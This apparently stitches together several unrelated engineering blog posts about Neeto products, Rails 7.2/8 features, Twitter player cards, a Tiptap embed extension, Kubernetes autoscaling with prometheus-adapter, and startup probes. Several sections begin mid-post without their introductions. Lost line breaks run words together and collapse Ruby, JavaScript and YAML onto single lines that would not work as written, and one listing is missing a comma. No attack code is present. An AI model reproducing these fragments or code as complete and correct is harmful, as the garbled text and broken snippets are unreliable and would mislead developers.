We noticed that a similar cleanup can be done on the backend side. Afterestablishing a consistent variable naming convention for page, page_size,order_by, and sort_by in every listing page, it became easier to createcommon utility functions for the backend. Here's what it looks like:

module Filterable  extend ActiveSupport::Concern  include Pagy::Backend  def sort_and_paginate(records)    sorted_records = apply_sort(records)    apply_pagination(sorted_records)  end  def apply_sort(records)    records.order(sort_by => order_by)  end  def sort_by    params[:sort_by].presence || "created_at"  end  def order_by    case params[:order_by]&.downcase    when "asc", "ascend"      "ASC"    when "desc", "descend"      "DESC"    else      "ASC"    end  end  def apply_pagination(records)    pagination_method = records.is_a?(ActiveRecord::Relation) ? :pagy : :pagy_array    pagy, paginated_records = send(pagination_method, records, page: params[:page], items: params[:page_size])    [pagy, paginated_records]  endend

The apply_pagination helper method can be used to paginate the results. Ituses the Pagy gem internally to perform the pagination. It provides a genericmethod pagy that works with ActiveRecord out of the box. It also provides apagy_array method which paginates an array of records. Both these methodsreturns a Pagy instance along with the paginated records.

The apply_sort method sorts the given records based on a specified column nameand direction. By default, records are sorted in ascending order of created_attimestamps, but this can be customized by specifying values for sort_by andorder_by params. As sorting and pagination are common requirements of thelisting pages, we also added a sort_and_paginate method which performs boththese operations on provided records.

Searching

Searching is a common functionality in any web application. Developers need toensure that the results are refetched whenever the search term changes. Thedebouncing logic is added to minimize API requests and improve user experience.As you can see in the below snippet, we had to maintain a dedicated state forsearch term as well.

import React, { useState } from "react";import { useDebounce } from "@bigbinary/neeto-commons-frontend/react-utils";import { useFetchTeams } from "hooks/reactQuery/useFetchTeamsApi";const Teams = () => {  const [searchString, setSearchString] = useState("");  const debouncedSearchString = useDebounce(searchString.trim());  const { data: teams, isLoading } = useFetchTeams(debouncedSearchString);  return (    <Input      type="search"      value={searchString}      onChange={({ target: { value } }) => setSearchString(value)}    />  );};export default Teams;

As we standardized the naming pattern for the search term, we were able to directlyincorporate the search term value into the URL query parameters. This helped usto retrieve the search term, eliminating the need for a separate state.

We also introduced a new component inNeetoMolecules, to handle the searchfunctionality in all products. ThisSearch componentwill internally handle the debounced updates when the search term changes. Itwill also update the search_term query param in URL. Here is what thesimplified code looks like:

import React from "react";import Search from "@bigbinary/neeto-molecules/Search";import { useFetchTeams } from "hooks/reactQuery/useFetchTeamsApi";const Teams = () => {  const { searchTerm = "" } = useQueryParams();  const { data: teams, isLoading } = useFetchTeams(searchTerm);  return <Search />;};export default Teams;

We also updated the Filterable concern mentioned earlier to simplify the logicin the backend. The search_term method retrieves the keyword specified in theURL query parameters, while search? checks whether the results should befiltered based on any keyword.

module Filterable  extend ActiveSupport::Concern  # ... previous code  def search_term    filter_params[:search_term]  end  def search?    search_term.present?  endend

Let's consolidate everything in the TeamsController. In the following code, weneed to fetch all the teams belonging to an organization, filter them based onthe search term and return the results after sorting and pagination.

def index  if params[:search_string].present?    @teams = @organization.teams.filter_by_name(params[:search_string])  end  @teams = @teams    .order(params[:column] => params[:direction])    .page(params[:current_page])    .per(params[:limit])end

We were able to simplify this logic with the help of the methods provided by theFilterable concern. As you can see below, this helped us in removing a lot ofboilerplate code and improving the readability.

def index  @teams = @organization.teams.filter_by_name(search_term) if search?  @teams = sort_and_paginate(@teams)end

This standardized approach helped us to extract and centralize the common logic.It also accelerated the development and maintenance cycle as the code structureis now clear and consistent across all the products.

Traditionally, this involved manually inspecting the logs and counting thenumber of queries. Needless to say, this becomes tedious and error-prone foractions generating a significant number of queries in the order of tens orhundreds.

Thankfully, Rails 7.2 introduces a helpful improvement by enhancing the logoutput to include the query count alongside existing information.

The improved log output now includes the query count within the ActiveRecordsection. It shows 3 queries, 1 cached, indicating that three database querieswere executed, with one being served from the cache.

This seemingly small addition allows for quick identification of query volumeand potential optimization areas. You can easily see if caching is workingeffectively and if the number of queries aligns with expectations, savingdevelopers valuable time and effort.

Check this pull request for moredetails:

The Problem

Initially, when we shared a NeetoRecord video on Twitter, this is how the tweetwould appear.

As we can see, the links are just plain text, lacking visual appeal and context.Users had to click away from Twitter and open a new tab to view the recording.This extra step not only disrupted the user's Twitter experience but also likelyreduced the number of people who actually watched our videos.

The Solution: Twitter Cards

To address this issue, we turned to Twitter Cards. Similar to Facebook's OpenGraph protocol, Twitter Cards allows us to showcase interactive media directlywithin tweets. While both protocols serve similar purposes, Twitter cards aredesigned to directly work in Twitter, so its crawler will look for these tagsand only look for OG tags as a fallback.

What are Twitter Cards?

Twitter Cards are a set of meta tags that enable us to embed interactive contenton a tweet. In our case, we want to provide users an embedded video player whichthey can use to view the NeetoRecord recording without leaving Twitter. It's notjust about aesthetics. According to Twitter's own data, "tweets with cards have43% higher engagement rates than regular tweets with links." This statisticunderscores the impact of providing a seamless, visually appealing experience.

Implementing Twitter Cards for NeetoRecord

There are multiple types of cards that we can leverage to enhance our contentsuch as summary cards, player cards & app cards. However, in this post, we aregoing to be discussing about Player cards, which is implemented in NeetoRecord.This card type allows us to embed an interactive video player directly in thetweet. Here's how it looks:

Clicking on this link preview will open our embedded content, in this case, aplayer to view the recording directly within Twitter.

As we can see, users can now watch our NeetoRecord videos without leavingTwitter. This seamless experience has several benefits:

• Higher Engagement: With the video right there in the tweet, more users arelikely to watch it.
• Reduced Friction: No more clicking away or opening new tabs, keeping usersengaged with our content and the Twitter conversation.
• Better Branding: The Player Card includes our logo and video title,reinforcing our brand with every view.

Technical Implementation

Implementing Twitter Cards is straightforward. We added meta tags to the<head> section of our web page. For our Player Card, we use tags as shownbelow.

<meta property="twitter:card" content="player" /><meta  property="twitter:url"  content="https://oli.neetorecord.com/watch/864de7fb-2efb-4f2f-a60b-08dca64e4c3"/><meta  property="twitter:title"  content="Introducing the new video player for NeetoRecord"/><meta property="twitter:site" content="@NeetoRecord" /><meta property="twitter:image" content="https://cdn.neeto.com/hycoe7" /><meta  property="twitter:player"  content="https://oli.neetorecord.com/embeds/864de7fb-2efb-4f2f-a60b-08dca64e4c3"/><meta property="twitter:player:width" content="1280" /><meta property="twitter:player:height" content="720" />

These tags tell Twitter's crawler what to display in the card.

Let's break down the purpose and importance of each meta tag:

<meta property="twitter:card" content="player" />

This tag specifies the card type. Setting it to "player" tells Twitter that thisis a Player Card, which is designed for video or audio content.

<meta  property="twitter:url"  content="https://oli.neetorecord.com/watch/864de7fb-2efb-4f2f-a60b-08dca64e4c3"/>

This tag provides the URL of the web page that the card is describing. It shouldbe the page where users can view the full content.

<meta  property="twitter:title"  content="Introducing the new video player for NeetoRecord"/>

This tag sets the title of the card, which appears as the main headline.

<meta property="twitter:site" content="@NeetoRecord" />

This tag specifies the Twitter @username the card should be attributed to.

<meta property="twitter:image" content="https://cdn.neeto.com/hycoe7" />

This tag provides the image to be displayed in place of the player on platformsthat dont support iFrames or inline players.

<meta  property="twitter:player"  content="https://oli.neetorecord.com/embeds/864de7fb-2efb-4f2f-a60b-08dca64e4c3"/>

This crucial tag specifies the URL of the video player. This should be an HTTPSURL to an iframe player that can play the content.

<meta property="twitter:player:width" content="1280" /><meta property="twitter:player:height" content="720" />

These two tags define the width and height of the video player iframe, inpixels. They help ensure the video displays correctly in the Twitter feed.

Conclusion

Twitter Cards have improved how NeetoRecord videos are shared on Twitter. Theembedded media experience reduces friction and increases engagement, whileenhancing our brand visibility.

Rails now include all the key building blocks needed to do basicauthentication, but many new developers are still uncertain of how to put themtogether, so they end up leaning on all-in-one gems that hide the mechanics.

To address this, Rails 8 has introduced a generator that simplifies the additionof basic authentication to Rails applications. In this blog post, we'll explorethe components included in this authentication scaffold.

Adding authentication to your Rails application

To set up a basic authentication system in your Rails application, execute thefollowing code.

bin/rails generate authentication

This command generates a set of essential files that provide a foundationalstart for implementing authentication, including support for database-trackedsessions and password reset functionality. Here is thegistof the generated scaffold.

Lets examine the components created by the authentication generator.

Models & migrations

To lay the groundwork for handling user accounts and session management, themodelsUser,CurrentandSessionare set up along with their corresponding migrations. This setup includes:

• CreateUsersmigration: It creates a users table, with a uniquely indexed email_addressfield and password_digest for storing the securely hashed passwords usinghas_secure_password.

• CreateSessionsmigration: It sets up the sessions table, which includes a unique tokenfield, along with ip_address and user_agent fields to record the user'sdevice and network details. The Session model useshas_secure_tokento generate unique session tokens.

• The Current model manages per-request state and provides access to thecurrent user's information through a delegated user method.

• Additionally, the bcrypt gem isadded to the Gemfile. If this gem is not present, it is added; if it iscommented, it is uncommented, and then bundle install is run to install thegem.

Authentication concern

The core authentication logic and session management are encapsulated in theAuthenticationconcern.

• require_authentication: This is a before_action callback which attempts torestore an existing session with resume_session. If no session is found, itredirects the user to the login page using request_authentication.

• resume_session: Retrieves a session using a signed token from the cookie viathe find_session_by_cookie method. Sets it as the current session, and savesthe token in a permanent, HTTP-only cookie using the set_current_sessionmethod.

• authenticated?: A helper method that checks if the current user has anactive session.

• allow_unauthenticated_access: This class method allows specific actions tobypass the require_authentication callback.

• after_authentication_url: Returns the URL to redirect to afterauthentication.

• start_new_session_for(user): Creates a new session for the given user withdetails of the user's device and IP address and then sets the current session.

• terminate_session: Destroys the current session and removes the sessiontoken from cookies.

Managing sessions

TheSessionsControllerhandles user session management and includes the following actions:

• new: Renders a login form for the user credentials. Thenew.html.erbfile includes fields for email and password, displays flash messages forsuccess and errors, and provides a link for password recovery.

• create: Authenticates the user with the provided credentials. On success, itcreates a new session and redirects to the after_authentication_url; onfailure, it redirects to the login form with an error message.

• destroy: Terminates the users session and redirects to the login form.

Combining all of this, a basic authentication flow would look like this.

<br />

<br />

Password reset functionality

The basic password reset functionality includes initiating a password resetrequest, dispatching reset instructions via email, and updating the password.ThePasswordsControllermanages these actions as follows:

• new: Displays the form to request a password reset using thenew.html.erbtemplate.

• create: Handles the reset request, sends a reset email via thePasswordMailerif the user exists, and redirects with a notice. This email contains a link tothe password reset page, which includes a password_reset_token as aparameter. The password_reset_token is part of thenewly added configuration tohas_secure_password. It has a default expiration period of 15 minutes.

• edit: Renders theedit.html.erbtemplate to set a new password.

• update: Updates the user's password, redirects on success, or shows an alerton failure.

• set_user_by_token: It is the before_action callback for the edit andupdate actions which retrieve the user based on the password_reset_tokenprovided in the request parameters, ensuring proper identification of theuser.

  Putting these together, the flow of resetting the password would be asfollows:

<br />

<br />

Current limitations and considerations

The current authentication generator supports email-password login for existingusers but does not handle new account creation. Future updates may incorporateuser account creation and other customizations.

Please check out the following pull requests for more details:

• https://github.com/rails/rails/pull/52328
• https://github.com/rails/rails/pull/52472
• https://github.com/rails/rails/pull/52483

The decision to use Tiptap as the foundational framework for neetoEditor isbased on its flexibility. Tiptap simplifies the complex Prosemirror syntax intosimple JavaScript classes. In this blog post, we'll walk you through the processof building an Embed extension using Tiptap.

What is the Embed extension?

<div style="width:100%;max-width:600px;margin:auto;"><img width="100" alt="embed-extension" src="/blog_images/2024/building-custom-extensions-in-tiptap/embed-youtube-video.gif"></div>

<br />

<br />

The Embed extension enables embedding of videos from YouTube, Vimeo, Loom andNeetoRecord.

Implementation

If you think of the document as a tree, every content type in Tiptap is a Node.Examples of nodes include paragraphs, headings, and code blocks. Here, we arecreating a new "embed" node.

import { Node } from "@tiptap/core";export default Node.create({  name: "embed", // A unique identifier for the Node  group: "block", // Belongs to the "block" group of extensions  //...});

Attributes

Attributesstore extra information about a node and are rendered as HTML attributes bydefault. They are parsed from the content during initialization.

const Embed = Node.create({  //...  addAttributes() {    return {      src: { default: null },      title: { default: null },      frameBorder: { default: "0" },      allow: {        default:          "accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture",      },      allowfullscreen: { default: "allowfullscreen" },      figheight: {        default: 281,        parseHTML: element => element.getAttribute("figheight"),      },      figwidth: {        default: 500,        parseHTML: element => element.getAttribute("figwidth"),      },    };  },});

These attributes customize the video embed behavior:

• src: Specify the URL of the video you want to embed.
• title: Add additional information about the video (optional).
• frameBorder: Set to "0" for seamless integration (default).
• allow: Define various permissions for optimal video experience (defaultvalue provided).
• allowfullscreen: Enable fullscreen mode (default).
• figheight & figwidth: Control the video frame's size.

Render HTML

TherenderHTMLfunction controls how an extension is rendered to HTML.

import { Node, mergeAttributes } from "@tiptap/core";const Embed = Node.create({  //...  renderHTML({ HTMLAttributes, node }) {    const { figheight, figwidth } = node.attrs;    return [      "div",      {        class: `neeto-editor__video-wrapper neeto-editor__video--${align}`,      },      [        "div",        {          class: "neeto-editor__video-iframe",          style: `width: ${figwidth}px; height: ${figheight}px;`,        },        [          "iframe",          mergeAttributes(this.options.HTMLAttributes, {            ...HTMLAttributes,          }),        ],      ],    ];  },});

This renders the following HTML content:

<div class="neeto-editor__video-wrapper neeto-editor__video--center">  <div class="neeto-editor__video-iframe" style="width: 281px;height: 500px">    <iframe      src="<src of the embed>"      title="<title of the embed>"      frameborder="0"      allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture"      allowfullscreen="allowfullscreen"      figheight="281"      figwidth="500"      align="center"    ></iframe>  </div></div>

Parse HTML

TheparseHTMLfunction loads the editor document from HTML by receiving an HTML DOM element asinput and returning an object with attributes and their values.

const Embed = Node.create({  //...  parseHTML() {    return [{ tag: "iframe[src]" }];  },});

This ensures that whenever Tiptap encounters a <iframe> tag with an srcattribute, our custom "embed" Node renders our custom UI.

Commands

Commands help us to easily modifyor alter a selection programmatically. For our embed extension, let's write acommand to insert the embed node.

const Embed = Node.create({  //...  addCommands() {    return {      setExternalVideo:        options =>        ({ commands }) =>          commands.insertContent({ type: this.name, attrs: options }),    };  },});

This is how a command can be executed:

editor  .setExternalVideo({ src: "https://www.youtube.com/embed/3sQv3Xh3Gt4" })  .run();

NodeView

Node views in TipTap enable customization for interactive nodes in your editor.

You can learn more about Node views with Reacthere.

This is how your node extension could look like:

import { Node } from "@tiptap/core";import { ReactNodeViewRenderer } from "@tiptap/react";import Component from "./Component.jsx";export default Node.create({  // configuration   addNodeView() {    return ReactNodeViewRenderer(Component);  },});

Note: The ReactNodeViewRenderer passes a few very helpful props to yourcustom React component.

This is how our Embed component looks like:

import React from "react";import { NodeViewWrapper } from "@tiptap/react";import { mergeRight } from "ramda";import { Resizable } from "re-resizable";import Menu from "../Image/Menu";const EmbedComponent = ({  node,  editor,  getPos,  updateAttributes,  deleteNode,}) => {  const { figheight, figwidth, align } = node.attrs;  const { view } = editor;  let height = figheight;  let width = figwidth;  const handleResize = (_event, _direction, ref) => {    height = ref.offsetHeight;    width = ref.offsetWidth;    view.dispatch(      view.state.tr.setNodeMarkup(        getPos(),        undefined,        mergeRight(node.attrs, {          figheight: height,          figwidth: width,          height,          width,        })      )    );    editor.commands.focus();  };  return (    <NodeViewWrapper      className={`neeto-editor__video-wrapper neeto-editor__video--${align}`}    >      <Resizable        lockAspectRatio        className="neeto-editor__video-iframe"        size={{ height, width }}        onResizeStop={handleResize}      >        <Menu {...{ align, deleteNode, editor, updateAttributes }} /> // Menu        component to handle alignment and delete        <iframe {...node.attrs} />      </Resizable>    </NodeViewWrapper>  );};export default EmbedComponent;

The NodeViewWrapper component is a wrapper for the custom component providedby TipTap. The Resizable component is used to resize the embed node.

Putting it all together

Here's the final output of the Embed extension in neetoEditor:

import { Node, mergeAttributes, PasteRule } from "@tiptap/core";import { ReactNodeViewRenderer } from "@tiptap/react";import { TextSelection } from "prosemirror-state";import { COMBINED_REGEX } from "common/constants";import EmbedComponent from "./EmbedComponent";import { validateUrl } from "./utils";export default Node.create({   name: "embed"  addOptions() {    return { inline: false, HTMLAttributes: {} };  },  inline() {    return this.options.inline;  },  group() {    return this.options.inline ? "inline" : "block";  },  addAttributes() {    return {      src: { default: null },      title: { default: null },      frameBorder: { default: "0" },      allow: {        default:          "accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture",      },      allowfullscreen: { default: "allowfullscreen" },      figheight: {        default: 281,        parseHTML: element => element.getAttribute("figheight"),      },      figwidth: {        default: 500,        parseHTML: element => element.getAttribute("figwidth"),      },      align: {        default: "center",        parseHTML: element => element.getAttribute("align"),      },    };  },  parseHTML() {    return [{ tag: "iframe[src]" }];  },  renderHTML({ HTMLAttributes, node }) {    const { align, figheight, figwidth } = node.attrs;    return [      "div",      {        class: `neeto-editor__video-wrapper neeto-editor__video--${align}`,      },      [        "div",        {          class: "neeto-editor__video-iframe",          style: `width: ${figwidth}px; height: ${figheight}px;`,        },        [          "iframe",          mergeAttributes(this.options.HTMLAttributes, {            ...HTMLAttributes,          }),        ],      ],    ];  },  addNodeView() {    return ReactNodeViewRenderer(EmbedComponent);  },  addCommands() {    return {      setExternalVideo:        options =>        ({ commands }) =>          commands.insertContent({ type: this.name, attrs: options }),    };  },  addPasteRules() {    return [      new PasteRule({        find: COMBINED_REGEX,        handler: ({ state, range, match }) => {          state.tr.delete(range.from, range.to);          state.tr.setSelection(            TextSelection.create(state.doc, range.from + 1)          );          const validatedUrl = validateUrl(match[0]);          if (validatedUrl) {            const node = state.schema.nodes["embed"].create({              src: validatedUrl,            });            state.tr.insert(range.from, node);            state.tr.insert(              range.from + node.nodeSize + 1,              state.schema.nodes.paragraph.create()            );            state.tr.setSelection(              TextSelection.create(state.tr.doc, range.from + node.nodeSize + 1)            );          }        },      }),    ];  },});

neeto-templates-nano serves as an incredibly flexible and user-friendlytemplate builder within the Neeto ecosystem. In this blog post, we will explorethe evolution from previous approaches to the development ofneeto-templates-nano and how it effectively addresses the challengesencountered.

Evolution of templates at NeetoSite

NeetoSite is a website builder.

Before the advent of neeto-templates-nano, NeetoSite relied on three tables -templates_sites, templates_pages, and template_blocks to store site,page, and blocks data for templates. This structure duplicated the schemaalready employed in NeetoSite for sites, pages, and blocks, resulting inredundancy.

Another challenge arose with the storage of each template in a YAML file,necessitating a custom rake task for maintenance. Tasks like updating templates,such as changing font families, required laborious manual edits to every YAMLfile, affecting scalability and maintainability.

This YAML snippet portrays the complexity of maintaining templates. The needfor manual edits in each YAML file hampers scalability and maintainability.

## Example of a template in YAML formatname: Document Signerkeywords: "E-signature, AI, Cost effective, Paperless"pages:  - name: "Home"    url: "/"    blocks:      - name: "header_with_logo_title"        category: "header"        kind: "header_with_logo_title"        identifier: "Header"        configurations:          design:            body:              border:                borderColor: "#FFFFFF"                borderStyle: none                borderWidth: 0              backgroundColor: "#FFFFFF"              paddingVertical: 8              paddingHorizontal: 48            logo:              height: 52            links:              color: "#1F2433"              fontSize: "1em"              fontFamily: Lato              fontWeight: 500              letterSpacing: 0            buttons:              color: "#ffffff"              border:                borderColor: "#f4620c"                borderStyle: solid                borderWidth: 1              fontSize: "0.875em"              fontFamily: Open Sans              fontWeight: 500              borderRadius: 9999              letterSpacing: 0              backgroundColor: "#f4620c"            logoTitle:              color: "#1F2433"              fontSize: "0.875em"              fontFamily: Inter              fontWeight: 500              letterSpacing: 0            hamburgerMenu:              color: "#000000"          properties:            logo:              alt: Max Chat              url: "#!"              title: ""            links:              - to: "#Clients"                label: Clients                action: internal              - to: "#Insights"                label: Insights                action: internal            position: sticky            enableAnimation: true

Recognizing these challenges, we opted for a more scalable and maintainablesolution.

The neeto-templates-nano solution

Eliminating redundancy

To streamline template creation and management, neeto-templates-nanointroduces a comprehensive solution. It includes a frontend package,@bigbinary/neeto-templates-frontend,and a ruby gem, neeto-templates-engine (private gem).

Architecture

The architecture addresses redundancy by whitelisting the templatesorganization for template creation. Once a site is constructed from thetemplates organization and published, it becomes a template accessible fromother organizations.

In this illustration, we've published 5 sites at templates organization ofNeetoSite. After publication, the sitesbecome accessible to users across all organizations. Choosing any template willclone it from the templates organization to the user's organization. Thisstraightforward mechanism simplifies the management and sharing of templatesacross different organizations.

The CreateTemplateModal was exported from@bigbinary/neeto-templates-frontend, allows users to see and select templateswhen creating a new site.

This GIF shows how simple it is to browse through available templates using theCreateTemplateModal. Users can preview templates, pick the one that suitstheir needs, and quickly start their projects without reinventing the wheel.

Advantages of porting to neeto-templates-nano

1. Effortless Template Management: With neeto-templates-nano, managingtemplates is a breeze. Administrators can easily add, update, or deletetemplates by accessing the templates organization and simply publishing thechanges. This streamlines the template lifecycle, ensuring that users alwayshave access to the latest versions.

2. Enhanced Template Customization: neeto-templates-nano introduces newcustomizations that enable administrators to add tags and cover images fortemplates directly within the templates organization. This functionalityenhances the visual appeal of templates and facilitates better organizationand searchability. Administrators can tailor templates to specific projectrequirements, improving overall user experience and productivity.

Implementation across Neeto products

neeto-templates-nano has seamlessly integrated intoNeetoForm andNeetoSite, offering a standardized approachto template management across all Neeto products.

Kubernetes hasa couple of different waysto scale deployments automatically based on the load the application receives.TheHorizontal Pod Autoscaler (HPA)can be used out of the box in a Kubernetes cluster to increase or decrease thenumber of Pods of your deployment. By default, HPA supports scaling based on CPUand memory usage, served by themetrics server.

While building NeetoDeploy initially, we'd setup to scale deployments based on CPU and memory usage, since these were thedefault metrics supported by the HPA. However, later we wanted to scaledeployments based on the average response time of our application.

This is an example of a case where the metric we want to scale is not directlyrelated to the CPU or the memory usage. Other examples of this could be networkmetrics from the load balancer, like the number of requests received in theapplication. In this blog, we will discuss how we achieved autoscaling ofdeployments in Kubernetes based on the average response time usingprometheus-adapter.

When an application receives a lot of requests suddenly, this creates a spike inthe average response time. The CPU and memory metrics also spike, but they takelonger to catch up. In such cases, being able to scale deployments based on theresponse time will ensure that the spike in traffic is handled gracefully.

Prometheus is one of the most popular cloud nativemonitoring tools and the Kubernetes HPA can be extended to scale deploymentsbased on metrics exposed by Prometheus. We used the prometheus-adapter tobuild autoscaling based on the average response time inNeetoDeploy.

Setting up the custom metrics

We took the following steps to make our HPAs work with Prometheus metrics.

1. Installed prometheus-adapter in our cluster.
2. Configured the metric we wanted for our HPAs as a custom metric in theprometheus-adapter.
3. Confirmed that the metric is added to the custom.metrics.k8s.io APIendpoint.
4. Configured an HPA with the custom metric.

Install prometheus-adapter in the cluster

prometheus-adapter isan implementation of the custom.metrics.k8s.io API using Prometheus. We usedthe prometheus-adapter to set up Kubernetes metrics APIs for our Promtheusmetrics, which then can be used with our HPAs.

We installed prometheus-adapter in our cluster using Helm.We got a template for the values file for the Helm installationhere.

We made a few changes to the file before we applied it to our cluster anddeployed prometheus-adapter:

1. We made sure that the Prometheus deployment is configured properly by givingthe correct service url and port.

# values.yamlprometheus:  # Value is templated  url: http://prometheus.monitoring.svc.cluster.local  port: 9090  path: ""# ... rest of the file

2. We made sure that the custom metrics that we needed for our HPA areconfigured under rules.custom in the values.yaml file. In the followingexample, we are using the custom metric traefik_service_avg_response_timesince we'll be using that to calculate the average response time for eachdeployment.

# values.yamlrules:  default: false  custom:    - seriesQuery:'{__name__=~"traefik_service_avg_response_time", service!=""}'      resources:        overrides:          app_name:            resource: service          namespace:            resource: namespace      metricsQuery: traefik_service_avg_response_time{<<.LabelMatchers>>}

Once we configured our values.yaml file properly, we installedprometheus-adapter in our cluster with Helm.

helm repo add prometheus https://prometheus-community.github.io/helm-chartshelm repo updatehelm install prom-adapter prometheus-community/prometheus-adapter --values values.yaml

Query for custom metric

Once we got prometheus-adapter running, we queried our cluster to check if thecustom metric is coming up in the custom.metrics.k8s.io API endpoint.

kubectl get --raw /apis/custom.metrics.k8s.io/v1beta1 | jq

The response looked like this:

{  "kind": "APIResourceList",  "apiVersion": "v1",  "groupVersion": "custom.metrics.k8s.io/v1beta1",  "resources": [    {      "name": "services/traefik_service_avg_response_time",      "singularName": "",      "namespaced": true,      "kind": "MetricValueList",      "verbs": ["get"]    },    {      "name": "namespaces/traefik_service_avg_response_time",      "singularName": "",      "namespaced": false,      "kind": "MetricValueList",      "verbs": ["get"]    }  ]}

We also queried the metric API for a particular service we've configured themetric for. Here, we're querying the traefik_service_avg_response_time metricfor the neeto-chat-web-staging app in the default namespace.

kubectl get --raw /apis/custom.metrics.k8s.io/v1beta1/namespaces/default/services/neeto-chat-web-staging/traefik_service_avg_response_time | jq

The API response gave the following.

{  "kind": "MetricValueList",  "apiVersion": "custom.metrics.k8s.io/v1beta1",  "metadata": {},  "items": [    {      "describedObject": {        "kind": "Service",        "namespace": "default",        "name": "neeto-chat-web-staging",        "apiVersion": "/v1"      },      "metricName": "traefik_service_avg_response_time",      "timestamp": "2024-02-26T19:31:33Z",      "value": "19m",      "selector": null    }  ]}

From the response, we can see that the average response time at the instant isreported as 19ms.

Create the HPA

Now that we're sure that prometheus-adapter is able to serve custom metricsunder the custom.metrics.k8s.io API, we wired this up with a Horizontal PodAutoscaler to scale our deployments based on our custom metric.

apiVersion: autoscaling/v2kind: HorizontalPodAutoscalermetadata:  name: my-app-name-hpaspec:  scaleTargetRef:    apiVersion: apps/v1    kind: Deployment    name: my-app-name-deployment  minReplicas: 1  maxReplicas: 10  metrics:    - type: Object      object:        metric:          name: traefik_service_avg_response_time          selector: { matchLabels: { app_name: my-app-name } }        describedObject:          apiVersion: v1          kind: Service          name: my-app-name        target:          type: Value          value: 0.03

With everything set up, the HPA was able to fetch the custom metric scraped byPrometheus and scale our Pods up and down based on the value of the metric. Wealso created a recording rule in Prometheus for storing our custom metricqueries and dropped the unwanted labels as a best practice. We can use thecustom metric stored with the recording rule directly with prometheus-adapterto expose the metrics as an API endpoint in Kubernetes. This is helpful whenyour custom metric queries are complex.

If your application runs on Heroku, you can deploy it on NeetoDeploy without anychange. If you want to give NeetoDeploy a try, then please send us an email atinvite@neeto.com.

If you have questions about NeetoDeploy or want to see the journey, followNeetoDeploy on X. You can also join ourcommunity Slack to chat with us about anyNeeto product.

Counter cache integration challenges

When introducing counter caches to large datasets, developers often encountertwo primary challenges:

• Backfilling data efficiently: Adding a counter cache column to an existingtable with a substantial amount of data can be problematic. Backfilling thecounter cache values separately from the column addition is necessary toprevent prolonged table locks, which can significantly impact applicationperformance. This process requires careful consideration to ensure dataintegrity while minimizing downtime and avoiding disruptions to userexperience.
• Ensuring data consistency: Once the counter cache is in place, maintainingdata consistency becomes paramount. Methods such as size, any?, and othersthat utilize counter caches internally must return accurate results. However,during the backfilling process, relying solely on the counter cache mayproduce incorrect counts until all records are appropriately updated.

Safer counter cache implementation in Rails 7.2

The new update in Rails 7.2 introduces a feature that allows developers tomanage counter caches more effectively, especially in scenarios involvingexisting large datasets. By introducing the active option in the counter cacheconfiguration, developers can control when the counter cache is activelyutilized. This enables them to backfill counter cache columns separately fromtheir addition, minimizing table locks and potential performance issues. Oncethe backfilling process is complete, developers can activate the counter cache,ensuring accurate association counts without compromising applicationperformance.

Let's illustrate the implementation of this update in Rails using astraightforward example involving a blog application with articles and comments.In our blog application, each article can have multiple comments. We want to adda counter cache to track the number of comments associated with each article.However, our database already contains a significant amount of data, makingtraditional counter cache implementation challenging.

Implementation Steps

1. Define the association: Initially, we define the association between theArticle model and the Comment model, specifying the counter cache withthe active: false option to keep it inactive during the initial setup.

class Comment < ApplicationRecord  belongs_to :article, counter_cache: { active: false }end

2. Backfill the Counter Cache: With the association configured, we proceed tobackfill the counter cache column in the articles table. During this phase,the counter cache remains inactive, and methods like size, any?, etc.,retrieve results directly from the database. This prevents incorrectvalues from getting displayed during backfilling.

3. Activate the Counter Cache: Once the backfilling process is complete, weactivate the counter cache by removing the active: false option from thecounter cache definition.

class Comment < ApplicationRecord  belongs_to :article, counter_cache: trueend

Upon activation, the counter cache integrates into the association, efficientlytracking the number of comments associated with each article.

This PR introduced active option.Checkout full feature discussionhere.

At neeto we are building 20+ applications, and most ofour applications are running in NeetoDeploy. Once we migrated from Heroku toNeetoDeploy, we started getting 520 response code for our applications. Thisissue was occurring randomly and rarely.

What is 520 response code?

A 520 response code happens when the connection is started on the origin webserver, but the request is not completed. This could be due to server crashes orthe inability to handle the incoming requests because of insufficient resources.

When we looked at our logs closely, we found that all the 520 response codesituations occurred when we restarted or deployed the app. From this, weconcluded that the new pods are failing to handle requests from the clientinitially and working fine after some time.

What is wrong with new pods?

Once our investigation narrowed down to the new pods, we quickly realized thatrequests are arriving at the server even when the server is not fully ready yetto take new requests.

When we create a new pod in Kubernetes, it is marked as "Ready", and requestsare sent to it as soon as its containers start. However, the servers initiatedwithin these containers may require additional time to boot up and to becomeready to accept the requests fully.

Let's try restarting the application

$ kubectl rollout restart deployment bling-staging-web

As we can see, a new container is getting created for the new pod. The READYstatus for the new pod is 0. It means it's not yet READY.

NAME                               READY  STATUS             RESTARTS  AGEbling-staging-web-656f74d9d-6kpzz  1/1    Running            0         2m8sbling-staging-web-79fc6f978-cdjf5  0/1    ContainerCreating  0         5s

Now we can see that the new pod is marked as READY (1 out of 1), and the old oneis terminating.

NAME                               READY  STATUS             RESTARTS  AGEbling-staging-web-656f74d9d-6kpzz  0/1    Terminating        0         2m9sbling-staging-web-79fc6f978-cdjf5  1/1    Running            0         6s

The new pod is shown as READY as soon as the container was created. But onchecking the logs, we could see that the server was still starting up and notready yet.

[1] Puma starting in cluster mode...[1] Installing dependencies...

From the above observation, we understood that the pod is marked as "READY"right after the container is created. Consequently, requests are received evenbefore the server is fully prepared to serve them, and they get a 520 responsecode.

Solution

To fix this issue, we must ensure that pods are marked as "Ready" only after theserver is up and ready to accept the requests. We can do this by usingKuberneteshealth probes.More than six years ago we wrotea blogon how we can leverage the readiness and liveness probes of Kubernetes.

Adding Startup probe

Initially, we only addedStartup probesince we had a problem with the boot-up phase. You can read more about theconfiguration settingshere.

The following configuration will add the Startup probe for the deployments:

startupProbe:  failureThreshold: 10  httpGet:    path: /health_check    port: 3000    scheme: HTTP  periodSeconds: 5  successThreshold: 1  timeoutSeconds: 60  initialDelaySeconds: 10

/health_check is a route in the application that is expected to return a 200response code if all is going well. Now, let's restart the application againafter adding the Startup probe.

Container is created for the new pod, but the pod is still not "Ready".

NAME                               READY  STATUS            RESTARTS  AGEbling-staging-web-656f74d9d-6kpzz  1/1    Running           0         2m8sbling-staging-web-79fc6f978-cdjf5  0/1    Running           0         5s

The new pod is marked as "Ready", and the old one is "Terminating".

